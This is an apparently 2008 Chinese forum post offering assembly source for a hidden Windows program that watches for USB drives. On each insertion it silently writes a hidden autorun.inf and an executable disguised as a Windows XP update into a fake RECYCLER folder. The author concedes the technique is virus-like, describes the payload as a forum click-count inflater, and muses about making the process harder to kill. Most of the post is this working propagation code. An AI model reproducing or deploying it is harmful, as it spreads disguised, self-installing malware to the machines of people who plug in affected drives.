![]() |
#2
zklhp2008-11-27 13:07
|
*/ 出自: 编程中国 https://www.bccn.net
*/ 作者: zklhp E-mail:zklhp@ QQ:493165744
*/ 时间: 2008-11-26 编程论坛首发
*/ 声明: 尊重作者劳动,转载请保留本段文字
*/ --------------------------------------------------------------------------------------
本程序使用的技术有点“病毒”味道 虽然没什么危害 还请谨慎使用 否则后果自负!!!
学校的电脑中了个叫 虚拟艺术 的 每次插到自己的电脑上还得杀毒~~~~ 一生气干脆自己也写一个
其实原理很简单 就是当硬件改变是得到U盘的盘符 写文件就行了
偶这个只是简单的往U盘上复制文件 离真正传播还远~~~
btw 偶往被感染盘上放的是一个增加论坛点击量的程序 静老大看了一定乐翻了 呵呵
贴下代码吧

;MASMPlus 代码模板 - 普通的 Windows 程序代码
.386
.Model Flat, StdCall
Option Casemap :None
Include windows.inc
Include user32.inc
Include kernel32.inc
Include gdi32.inc
include DBT.INC
includelib gdi32.lib
IncludeLib user32.lib
IncludeLib kernel32.lib
include macro.asm
include Data.asm
WinMain PROTO :DWORD,:DWORD,:DWORD,:DWORD
WndProc PROTO :DWORD,:DWORD,:DWORD,:DWORD
.DATA
szClassName db 33 dup(0)
szFormate db '%08x%08x'
.DATA?
hInstance dd ?
hWinMain dd ?
szBuffer db MAX_PATH dup(?)
szPath dd MAX_PATH dup(?)
.CODE
;写入文件到U盘
;指定路径 数据 大小
_WriteFile proc uses ebx esi edi _lpPath:DWORD,_lpBuf:DWORD,_dwLen:DWORD
;invoke MessageBox,0,CTXT('写文件'),CTXT('写文件'),0
invoke CreateFile,_lpPath,\
GENERIC_ALL,0,\
NULL,CREATE_ALWAYS,FILE_ATTRIBUTE_HIDDEN or FILE_ATTRIBUTE_READONLY,NULL
mov ebx,eax
.if ebx != -1
push eax
mov ecx,esp
invoke WriteFile,ebx,_lpBuf,_dwLen,ecx,0
pop ecx
.endif
;invoke CloseHandle,ebx
ret
_WriteFile endp
;根据输入的掩码得到卷标
_GetVolumeName proc uses ebx esi edi flag:DWORD
mov ecx,26
mov esi,flag
@@:
test esi,1h
jnz @f
shr esi,1h
loop @b
@@:
mov eax,5Bh
sub eax,ecx
ret
_GetVolumeName endp
WndProc proc hWin:DWORD,uMsg:DWORD,wParam :DWORD,lParam :DWORD
.if uMsg==WM_CREATE
;int 3h
.elseif uMsg == WM_QUIT
xor eax,eax
.elseif uMsg == WM_DEVICECHANGE
.if wParam == DBT_DEVICEARRIVAL ;U盘已插入
;invoke MessageBox,0,CTXT('插入'),CTXT('插入'),0
mov ebx, lParam
assume ebx:ptr _DEV_BROADCAST_HDR
.if [ebx].dbch_devicetype == DBT_DEVTYP_VOLUME ;检测是不是磁盘类USB设备
;invoke MessageBox,0,CTXT('是磁盘类USB设备'),CTXT('插入'),0
mov edx,lParam
assume edx:ptr _DEV_BROADCAST_VOLUME
invoke _GetVolumeName,[edx].dbcv_unitmask
push eax
invoke wsprintf,offset szPath,CTXT('%c:\'),eax,0
pop eax
invoke GetDriveType,offset szPath
.if eax == DRIVE_REMOVABLE;检测是不是硬动磁盘设备
;invoke MessageBox,0,CTXT('是硬动磁盘设备'),CTXT('插入'),0
invoke Sleep, 1500
invoke lstrcpy,offset szBuffer,offset szPath
invoke lstrcat,offset szBuffer,CTXT('autorun.inf')
invoke lstrlen,offset szDeskTop
mov ecx,eax
invoke _WriteFile,offset szBuffer,offset szDeskTop,ecx
invoke lstrcpy,offset szBuffer,offset szPath
invoke lstrcat,offset szBuffer,CTXT('RECYCLER')
invoke CreateDirectory,offset szBuffer,0
invoke lstrcpy,offset szBuffer,offset szPath
invoke lstrcat,offset szBuffer,CTXT('RECYCLER\WindowsXP-KB88168-x86-CHS.exe')
invoke _WriteFile,offset szBuffer,offset szExe,952d
.endif
assume edx:nothing
.endif
assume ebx:ptr nothing
.elseif wParam == DBT_DEVICEREMOVECOMPLETE ;U盘已拔出
;invoke MessageBox,0,CTXT('拔出'),CTXT('拔出'),0
.endif
.else
invoke DefWindowProc,hWin,uMsg,wParam,lParam
.endif
ret
WndProc endp
WinMain proc hInst:DWORD,hPrevInst:DWORD,CmdLine:DWORD,CmdShow:DWORD
LOCAL wc :WNDCLASSEX
LOCAL msg :MSG
local hWnd :HWND
mov wc.cbSize,sizeof WNDCLASSEX
mov wc.style,CS_HREDRAW or CS_VREDRAW or CS_BYTEALIGNWINDOW
mov wc.lpfnWndProc,offset WndProc
mov wc.cbClsExtra,NULL
mov wc.cbWndExtra,NULL
push hInst
pop wc.hInstance
mov wc.hbrBackground,COLOR_BTNFACE+1
mov wc.lpszMenuName,NULL
invoke GetTickCount
push eax
invoke GetTickCount
push eax
mov eax,offset szFormate
push eax
mov eax,offset szClassName
push eax
call wsprintf ;随机生成~~~
mov wc.lpszClassName,offset szClassName
invoke LoadIcon,hInst,100
mov wc.hIcon,eax
invoke LoadCursor,NULL,IDC_ARROW
mov wc.hCursor,eax
mov wc.hIconSm,0
invoke RegisterClassEx, ADDR wc
;这样窗口不会显示
invoke CreateWindowEx,WS_EX_TOOLWINDOW,ADDR szClassName,offset szClassName,WS_POPUP or WS_SYSMENU, 0, 0, 0, 0,NULL, NULL, hInst, NULL
mov hWnd,eax
invoke ShowWindow,hWnd,SW_SHOWNORMAL
invoke UpdateWindow,hWnd
StartLoop:
invoke GetMessage,ADDR msg,NULL,0,0
cmp eax, 0
je ExitLoop
invoke TranslateMessage, ADDR msg
invoke DispatchMessage, ADDR msg
jmp StartLoop
ExitLoop:
mov eax,msg.wParam
ret
WinMain endp
START:
invoke GetModuleHandle,NULL
mov hInstance,eax
invoke WinMain,hInstance,NULL,NULL,SW_SHOWDEFAULT
invoke ExitProcess,0
END START
想结束它很简单 在任务管理器里杀进程就行 可要是来个三线程 内核保护…… 就不好办了 呵呵
程序参考了 lonkil 大侠的 AutoRun病毒的U盘检测部分实现 http://bbs. 在此向高人的无私奉献精神表示感谢
这个程序写的仓促 有不对的还望各位高手指出 谢谢了
程序+源码已打包
主程序
只有本站会员才能查看附件,请 登录
弹窗口的程序(编译出来放在程序里了)
只有本站会员才能查看附件,请 登录
再说一遍 别干坏事呀
[[it] 本帖最后由 zklhp 于 2008-12-4 12:54 编辑 [/it]]